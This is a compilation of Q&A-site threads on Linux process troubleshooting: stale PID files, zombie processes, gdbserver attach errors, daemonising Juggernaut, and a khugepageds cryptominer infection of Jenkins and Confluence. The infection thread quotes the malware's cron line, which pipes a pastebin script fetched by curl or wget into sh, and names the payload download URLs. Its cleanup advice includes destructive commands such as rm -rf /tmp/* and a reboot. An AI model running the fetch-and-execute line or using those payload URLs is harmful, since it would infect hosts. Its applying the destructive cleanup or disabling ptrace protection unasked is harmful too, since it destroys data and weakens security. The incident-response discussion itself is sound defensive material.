I am trying to stop confluence through ./stop-confluence.sh but it is showing error like this "PID file found but no matching process was found. Stop aborted." so I try to kill that process with "kill -9 pid" but it showing that "PID: no process found". Can anyone please give me any idea what is going wrong with the process.
You can list the process and grep confluence and kill it like this ps -ef|grep confluence and then using pid kill it kill -9 2132
To understand what is going on, you have to understand the init script of that process. In your case, its the thing from confluence. So its a popular way/design to create a pid file that will hold the pid (process id), when a deamon or a unix process/service starts. And this is the number that you see in the ps output.
Now due to some faulty reasons, when the process/deamon dies or exits, it leaves the pid file in the system. So, when you try to stop the service its throws you the exception: PID file found but no matching process was found. Stop aborted.
Ideally when a process exits the pid file have to be deleted by it.
Finally on your how to fix this, there is no single way to fix it. You have to look into the init script that executes when the service starts. Find why the service dies (unless someone is killing it intentionally). If stopping the service leaves the pid file, the issue is with the init script. You need to fix it.
Hope this helps!
In my case the reason of failure was a second startup script in the
/etc/init.d/
trying to start Jira the second time after the original script has already done it.
$ sudo ll /etc/init.d/ | grep jira
-rwxr-xr-x 1 root root 261 * * * jira
-rwxr-xr-x 1 root root 261 * * * jira1
I've disabled execution of the "jira1" startup script by executing
$ sudo chmod -x /etc/init.d/jira1
$ sudo ll /etc/init.d/ |grep jira
-rwxr-xr-x 1 root root 261 * * * jira
-rw-r--r-- 1 root root 261 * * * jira1
This way the second instance will not be started at server boot. You can also delete the second startup script, but please back it up before doing anything destructive.
Related
When I enter nvidia-smi, I get the following result:
kill -9 25585 will not work, and instead, I have to ps -ef and kill every python process for the Nvidia GPU to free up. Before, it used to show the actual process name
Can someone please explain why and help not have to do this every time?
I encountered this problem when I ctrl+Z a python process, and I found the solution in the answer to What if 'kill -9' does not work?. It may be a zombie process, find the parent process by
ps -Al|grep xxx (xxx is the pid number of the zombie process)
you will see
0 Z xxx xxx xxx 0 80 0 - 0 exit ? 00:00:00 soffice.bin <defunct>
the third xxx is the parent process, and kill it (If it is 1, don't kill it!).
I have a method in my model that uses delayed_jobs and it is supposed to ssh into a server and delete files but I keep getting Permission denied, please try again. in my log when I see delayed_job trying to complete the task.
The following below works without putting it in delayed_jobs. It seems as if delayed_jobs is like its own user and I need to add it to my server to be able to ssh into it. I did adduser delayed_job that did not work, I tried adduser DJ that as well did not work. Keep getting the same errors as above. What would be a solution to this issue I am facing?
for testing purposes I am trying the following below
before_destroy :schedule_destroy
def schedule_destroy
User.delay(run_at: 1.minutes.from_now).destroy_numbers
end
def self.destroy_numbers
SysExecLogger.exec "ssh myserver 'rm -r /var/gluster/recordings/boop/'"
end
EDIT
after running ps -ef|grep delayed
root 13324 1 0 Nov06 ? 01:36:03 /bin/sh /var/asterisk/delayed_job/safe_delayed_job
root 13490 1 0 Nov06 ? 01:20:57 delayed_job.0
root 13498 1 0 Nov06 ? 00:37:39 delayed_job.1
root 26447 26234 0 10:19 pts/4 00:00:00 grep delayed
It looks like you need to sort out your authorised keys, as per https://www.ssh.com/ssh/authorized_keys/ which should allow you to SSH without a password.
The way to do this depends on what OS and Daemon is running at both ends, but hopefully that document will help
In my docker container (based on SUSE distribution SLES 15) both the C++ executable (with debug enhanced code) and the gdbserver executable are installed.
Before doing anything productive the C++ executable sleeps for 5 seconds, then initializes and processes data from a database. The processing time is long enough to attach it to gdbserver.
The C++ executable is started in the background and its process id is returned to the console.
Immediately afterwards the gdbserver is started and attaches to the same process id.
Problem: The gdbserver complains not being able to connect to the process:
Cannot attach to lwp 59: No such file or directory (2)
Exiting
In another attempt, I have copied the same gdbserver executable to /tmp in the docker container.
Starting this gdbserver gave a different error response:
Cannot attach to process 220: Operation not permitted (1)
Exiting
It has been verified, that in both cases the process is still running. 'ps -e' clearly shows the process id and the process name.
If the process is already finished, a different error message is thrown; this is clear and needs not be explained:
gdbserver: unable to open /proc file '/proc/79/status'
The gdbserver was started once from outside of the container and once from inside.
In both scenarios the gdbserver refused to attach the running process:
$ kubectl exec -it POD_NAME --container debugger -- gdbserver --attach :44444 59
Cannot attach to lwp 59: No such file or directory (2)
Exiting
$ kubectl exec -it POD_NAME -- /bin/bash
bash-4.4$ cd /tmp
bash-4.4$ ./gdbserver 10.0.2.15:44444 --attach 220
Cannot attach to process 220: Operation not permitted (1)
Exiting
Can someone explain what causes gdbserver refusing to attach to the specified process
and give advice how to overcome the mismatch, i.e. where/what do I need to examine for to prepare the right handshake between the C++ executable and the gdbserver?
The basic reason why gdbserver could not attach to the running C++ process is due to
a security enhancement in Ubuntu (versions >= 10.10):
By default, process A cannot trace a running process B unless B is a direct child of A
(or A runs as root).
Direct debugging is still always allowed, e.g. gdb EXE and strace EXE.
The restriction can be loosen by changing the value of /proc/sys/kernel/yama/ptrace_scope from 1 (=default) to 0 (=tracing allowed for all processes). The security setting can be changed with:
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
All credits for the description of ptrace scope belong to the following post,
see 2nd answer by Eliah Kagan - thank you for the thorough explanation! - here:
https://askubuntu.com/questions/143561/why-wont-strace-gdb-attach-to-a-process-even-though-im-root
So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.
I am using juggernaut push server. How to start redis and juggernaut in production mode cause I
juggernaut
or
redis-server will keep on showing me log etc.
I am using ruby on rails 3.
EDIT
I followed these two guides to setup juggernaut and redis on production server
Seems like both the servers are running smooth now. But how can i access
:8080/application.js for juggernaut.
I tried
my_ip:8080/application.js but nothing.
For hosting I am using Linode.
EDIT2
When I am trying to stop/start redis server its gives me output ie:
Starting/Stopping redis-server: redis-server.
But nothing when i m doing the same for juggernaut. Check screenshot.
EDIT
I can't see any log for juggernaut.. There is one for redis but nothin for juggernaut
EDIT
Executable file permissions to /etc/init.d/juggernaut file -- YES
-rwxr-xr-x 1 fizzy fizzy 1310 Sep 19 11:06 juggernaut
PIDFILE=/var/run/juggernaut.pid' is defined. Does that exist? --- NO
In the 'start' part it runs 'chown juggernaut:juggernaut'. Does the user juggernaut exist and is it member of the group juggernaut? -- YES/YES
cat /etc/group
redis:x:1002:
juggernaut:x:113:
groups juggernaut
juggernaut : juggernaut
EDIT
fizzy#li136-198:~$ sudo ls -l /usr/bin/juggernaut
ls: cannot access /usr/bin/juggernaut: No such file or directory
fizzy#li136-198:~$ sudo ls -l /usr/local/bin/juggernaut
lrwxrwxrwx 1 root root 40 Sep 20 02:48 /usr/local/bin/juggernaut -> ../lib/node_modules/juggernaut/server.js
I tried changing
DAEMON=/usr/bin/juggernaut
to
DAEMON=/usr/local/bin/juggernaut
after that i tried restarting the juggernaut using
sudo /etc/init.d/juggernaut start
Server started but not as background process/service.
EDIT
Running script in debugging mode ie
changing the shebang line at the top to add an -x, eg
#! /bin/bash -x
Here is the output:-
+ PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+ DAEMON=/usr/bin/juggernaut
+ NAME=Juggernaut2
+ DESC=Juggernaut2
+ PIDFILE=/var/run/juggernaut.pid
+ test -x /usr/bin/juggernaut
+ exit 0
EDIT
Changing path of my juggernaut as it seems my juggernaut is installed somewhere else. Now here is the output
fizzy#li136-198:~$ sudo /etc/init.d/juggernaut start
+ PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+ DAEMON=/usr/local/bin/juggernaut
+ NAME=Juggernaut2
+ DESC=Juggernaut2
+ PIDFILE=/var/run/juggernaut.pid
+ test -x /usr/local/bin/juggernaut
+ set -e
+ case "$1" in
+ echo -n 'Starting Juggernaut2: '
Starting Juggernaut2: + touch /var/run/juggernaut.pid
+ chown juggernaut:juggernaut /var/run/juggernaut.pid
+ start-stop-daemon --start --quiet --umask 007 --pidfile /var/run/juggernaut.pid --chuid juggernaut:juggernaut --exec /usr/local/bin/juggernaut
20 Sep 06:41:16 - Your node instance does not have root privileges. This means that the flash XML policy file will be served inline instead of on port 843. This will slow down initial connections slightly.
20 Sep 06:41:16 - socket.io ready - accepting connections
node.js:134
throw e; // process.nextTick error, or 'error' event on first tick
^
Error: EADDRINUSE, Address already in use
at Server._doListen (net.js:1106:5)
at net.js:1077:14
at Object.lookup (dns.js:153:45)
at Server.listen (net.js:1071:20)
at Object.listen (/usr/local/lib/node_modules/juggernaut/lib/juggernaut/server.js:51:21)
at Object.listen (/usr/local/lib/node_modules/juggernaut/lib/juggernaut/index.js:9:10)
at Object.<anonymous> (/usr/local/lib/node_modules/juggernaut/server.js:21:12)
at Module._compile (module.js:402:26)
at Object..js (module.js:408:10)
at Module.load (module.js:334:31)
+ echo failed
failed
+ exit 0
You probably want to start Juggernaut and Redis as a service / background process. Starting it as a service gives the opportunity to redirect the logs to a file which you then can inspect regularly.
To create a service that automatically starts at boot time, you have to do different things based on the OS you're using:
In Linux you can add an init.d script (Juggernaut Ubuntu example, Redis Ubuntu example)
In Mac OS X you use launchd.
In Windows you use this method.
Make sure you start the services after creating them by adding the service to the default runlevel (will start automatically during boot time) or start them manually.
Add service to default runlevel (Linux), is also part of both the Linux tutorials above:
sudo update-rc.d -f juggernaut defaults
sudo update-rc.d -f redis-server defaults
After adding the service to the default runlevel, you still need to start the service manually (Linux):
sudo /etc/init.d/juggernaut start
sudo /etc/init.d/redis-server start
I ran into the same problem (using Ubuntu 12.04 LTS). Using upstart did it for me.
Create a file 'juggernaut.conf' containing:
start on filesystem and started networking
stop on shutdown
script
# We found $HOME is needed. Without it, we ran into problems
export HOME="/root"
exec /usr/local/bin/juggernaut 2>&1 >> /var/log/juggernaut.log
end script
Save this file in /etc/init/ (not init.d) and make it executable (chmod +x). This is it, Juggernaut runs as a deamon if the server started.
A note: next to the juggernaut.log of juggernaut itself, there is a juggernaut.log located in /var/log/upstart/ where information is written on the attempts of upstart to start juggernaut.
I more or less copy-pasted the above script from this blog . However, the script shown there started with:
start on startup
This did not work for me, because the filesystem was not mounted properly at startup, so no possibility to create juggernaut.log (Read-only filesystem error). Credits to this post on serverfault for solving that.